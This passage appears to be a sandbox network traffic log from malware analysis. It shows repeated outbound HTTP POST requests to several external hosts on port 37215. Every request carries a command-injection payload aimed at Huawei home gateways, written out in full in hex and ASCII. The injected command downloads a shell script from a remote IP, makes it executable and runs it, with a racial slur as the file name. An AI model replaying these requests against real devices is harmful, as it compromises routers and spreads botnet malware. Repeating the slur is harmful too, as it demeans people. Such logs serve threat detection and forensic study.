Feb 19, 2024 18:36:08.715182066 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.23	43042	31.136.213.212	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:09.561161995 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:12.814368963 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:18.957561970 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:30.987873077 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:56.840476990 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.23	59452	31.200.3.88	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:09.561314106 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:13.582298994 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:19.725564957 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
